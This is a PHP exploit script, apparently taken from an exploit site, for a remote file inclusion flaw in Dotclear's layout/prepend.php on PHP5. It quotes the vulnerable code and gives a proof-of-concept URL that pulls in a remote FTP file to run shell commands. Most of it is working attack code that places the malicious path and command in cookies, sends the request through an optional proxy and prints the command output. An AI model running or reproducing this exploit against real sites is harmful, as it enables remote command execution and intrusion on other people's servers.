#!/usr/bin/php -q -d short_open_tag=on \r\n"; die; } /* software site: http://www.dotclear.net/ vulnerable code in layout/prepend.php near lines 78-104: ... # Variable de conf $theme_path = $blog_dc_path.'/themes/'; $theme_uri = dc_app_url.'/themes/'; $img_path = dc_img_url; # Définition du thème et de la langue $__theme = dc_theme; $__lang = dc_default_lang; # Ajout des functions.php des plugins $objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/'); foreach ($objPlugins->getFunctions() as $pfunc) { require_once $pfunc; } # Définition du template if (!is_dir($theme_path.$__theme)) { header('Content-type: text/plain'); echo 'Le thème '.$__theme.' n\'existe pas'; exit; } if (file_exists($theme_path.$__theme.'/template.php')) { $dc_template_file = $theme_path.$__theme.'/template.php'; } else { $dc_template_file = $theme_path.'default/template.php'; } echo $dc_template_file; # Prepend du template s'il existe if (file_exists(dirname($dc_template_file).'/prepend.php')) { require dirname($dc_template_file).'/prepend.php'; } ... $blog_dc_path var is not sanitized before to be used to include files, on PHP5, because is_dir() and file_exists() funcs support ftp wrappers, you can include an arbitrary prepend.php file in a themes/default/ folder from a remote resource, poc: http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=ftp://username:password@somesite.com&cmd=ls%20-la */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $loc=$argv[3]; $cmd="";$port=80;$proxy=""; for ($i=4; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $loc=urlencode($loc); $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $packet="GET ".$path."layout/prepend.php HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Cookie: blog_dc_path=".$loc."; cmd=".$cmd.";\r\n"; //through cookies, log this $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"*deli*")) {echo "exploit succeeded...\r\n"; $temp=explode("*deli*",$html); die($temp[1]); } else {echo "exploit failed...\r\n"; //debug echo $html; } ?> original url: http://retrogod.altervista.org/dotclear_124_php5_xpl.html